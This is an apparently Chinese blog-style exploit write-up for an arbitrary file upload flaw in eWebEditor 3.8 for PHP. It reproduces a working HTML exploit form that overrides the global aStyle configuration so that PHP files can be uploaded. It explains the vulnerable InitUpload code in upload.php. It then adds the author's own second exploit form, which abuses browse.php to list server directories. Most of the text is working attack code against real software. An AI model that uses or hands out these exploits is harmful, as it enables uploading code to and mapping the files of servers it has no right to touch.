?? 首先这个是别人早都发出来的一个漏洞,exp也写好了,如下
<title>eWebeditoR3.8 for php任意文件上EXP</title> <form action="" method=post enctype="multipart/form-data"> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000"> URL:<input type=text name=url value="http://localhost:81/" size=100><br> <INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile1/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1"> file:<input type=file name="uploadfile"><br> <input type=button value=submit onclick=fsubmit()> </form><br> <script> function fsubmit(){ form = document.forms[0]; form.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en'; alert(form.action); form.submit(); } </script>
?
?
这是一个任意文件上传漏洞,目标版本是eWebEditor 3.8 for php ,不过估计asp应该也有类似的问题,具体的解析思路是:
???? 首先一个网页编辑器,无论是fck,ewebeditor 或者kindeditor之类的,都爆出过上传漏洞,那么找文件上传漏洞的思路应该是先下载对应版本的编辑器,自己把环境搭起来,然后开始找文件上传点,3.8据说还有个cookie的验证不严格的漏洞,不过我看了下没发现,估计我看的是修正过的版本,
??? 文文件上传很直接的我们就定位到了admin/upload.php,不过很可惜在文件头就发现了
require("private.php");这个,这意味着这个upload.php我们几乎无法使用的。
但是继续往下看,我们翻到别的目录发现了php这个目录,而这个目录中,共有3各有意义的文件,个个都非常重要
?
1. config.php一个类似数据库存储的文件,中间保存了用户名密码,以及一些样式
2.browse.php 是一个用来查看文件夹路径的php,最重要的是他们有检查用户登录与否
3.upload.php 这就是一个上传的页面,同样也没有检查用户
?
我们首先关注upload.php这个文件,这也是这个exp的处理的地方
<?php require("config.php"); InitUpload(); if (isset($_GET["action"])){ $sAction = strtoupper($_GET["action"]); }else{ $sAction = ""; } switch ($sAction){ case "REMOTE": DoCreateNewDir(); DoRemote(); break; case "SAVE": ShowForm(); DoCreateNewDir(); DoSave(); break; default: ShowForm(); break; }
?
明显在这个文件一开始就有一个InitUpload(); 的存在
?
function InitUpload(){ global $sType, $sStyleName, $sLanguage; global $sAllowExt, $nAllowSize, $sUploadDir, $nUploadObject, $nAutoDir, $sBaseUrl, $sContentPath; global $sFileExt, $sOriginalFileName, $sSaveFileName, $sPathFileName, $nFileNum; global $nSLTFlag, $nSLTMinSize, $nSLTOkSize, $nSYFlag, $sSYText, $sSYFontColor, $nSYFontSize, $sSYFontName, $sSYPicPath, $nSLTSYObject, $sSLTSYExt, $nSYMinSize, $sSYShadowColor, $nSYShadowOffset; $sType = toTrim("type"); $sStyleName = toTrim("style"); $sLanguage = toTrim("language"); $bValidStyle = false; $numElements = count($GLOBALS["aStyle"]); for($i=1; $i<=$numElements; $i++){ $aStyleConfig = explode("|||", $GLOBALS["aStyle"][$i]); if (strtolower($sStyleName)==strtolower($aStyleConfig[0])){ $bValidStyle = true; break; } } if ($bValidStyle == false) { OutScript("parent.UploadError('lang[\"ErrInvalidStyle\"]')"); } $sBaseUrl = $aStyleConfig[19]; $nUploadObject = (int)$aStyleConfig[20]; $nAutoDir = (int)$aStyleConfig[21]; $sUploadDir = $aStyleConfig[3]; if (substr($sUploadDir, 0, 1) != "/"){ $sUploadDir = "../".$sUploadDir; } switch ($sBaseUrl){ case "0": $sContentPath = $aStyleConfig[23]; break; case "1": $sContentPath = RelativePath2RootPath($sUploadDir); break; case "2": $sContentPath = RootPath2DomainPath(RelativePath2RootPath($sUploadDir)); break; } switch (strtoupper($sType)){ case "REMOTE": $sAllowExt = $aStyleConfig[10]; $nAllowSize = (int)$aStyleConfig[15]; break; case "FILE": $sAllowExt = $aStyleConfig[6]; $nAllowSize = (int)$aStyleConfig[11]; break; case "MEDIA": $sAllowExt = $aStyleConfig[9]; $nAllowSize = (int)$aStyleConfig[14]; break; case "FLASH": $sAllowExt = $aStyleConfig[7]; $nAllowSize = (int)$aStyleConfig[12]; break; default: $sAllowExt = $aStyleConfig[8]; $nAllowSize = (int)$aStyleConfig[13]; break; } $sAllowExt = strtoupper($sAllowExt); $nSLTFlag = (int)$aStyleConfig[29]; $nSLTMinSize = (int)$aStyleConfig[30]; $nSLTOkSize = (int)$aStyleConfig[31]; $nSYFlag = (int)$aStyleConfig[32]; $sSYText = $aStyleConfig[33]; $sSYFontColor = $aStyleConfig[34]; $nSYFontSize = (int)$aStyleConfig[35]; $sSYFontName = $aStyleConfig[36]; $sSYPicPath = $aStyleConfig[37]; $nSLTSYObject = (int)$aStyleConfig[38]; $sSLTSYExt = $aStyleConfig[39]; $nSYMinSize = (int)$aStyleConfig[40]; $sSYShadowColor = $aStyleConfig[41]; $nSYShadowOffset = (int)$aStyleConfig[42]; }
?这个方法由于采用了全局变量设置,可以被用户提交的变量所覆盖,他的原意是通过config.php得到这些初始参数的,这就是漏洞所在,而我们通过观察config.php可得知原始样式表共有11个,所以就理解了exp中的样式表为aStyle[12]的原因了,
?
然后通过自己修改了下已有的astyle,其中添加允许上传为php,基本上漏洞就算利用好了
?
同样的理论,我们去观察这个目录下剩余的
browse.php
?
而且此时我们发现别人写的exp存在着一个很奇怪的问题,在config.php中,我们可以看到
?
一项一共有43项,而别人提供的exp只有42项,而其中着关键最后一项在browse.php中有着大作用,我觉得这个exp可能是故意漏掉了这个关键的一个,
$sAllowBrowse = $aStyleConfig[43];
?
?
分析ewebeditor browse.php可以采用和upload.php相同的手法覆盖掉config.php,然后在browse。php中我们可以看到
$sUploadDir = $aStyleConfig[3];
?
所以我们构造的时候可以选择sUploadDir=空,dir=空
?
$sDir = toTrim("dir"); if ($sDir != "") { if (is_dir($sUploadDir.$sDir)) { $sCurrDir = $sUploadDir.$sDir."/"; }else{ $sDir = ""; } }
?
但是由于
switch (strtoupper($sType)){ case "FILE": $sAllowExt = ""; break; case "MEDIA": $sAllowExt = "rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov"; break; case "FLASH": $sAllowExt = "swf"; break; default: $sAllowExt = "bmp|jpg|jpeg|png|gif"; break; }
?
这个的存在,使得最终列文件效果无法列出php和asp等,不过爆目录效果还是可以的
最终生成的browse.html
<title>eWebeditoR3.8 for php查看文件目录</title> <form action="" method=post enctype="multipart/form-data"> URL:<input type=text name=url value="http://localhost:81/" size=100><br> DIR:<input type=text name=dir value="" size=100><br> <INPUT TYPE="hidden" name="aStyle[12]" value="ice|||gray|||red||||||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|php|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1|||1"> <input type=button value=submit onclick=fsubmit()> </form><br> <script> function fsubmit(){ form = document.forms[0]; form.action = form.url.value+'php/browse.php?style=ice&dir='+form.dir.value; alert(form.action); form.submit(); } </script>
?
使用后,会弹出新的页面,查看页面源代码就可以得到目录列表和少量图片文件了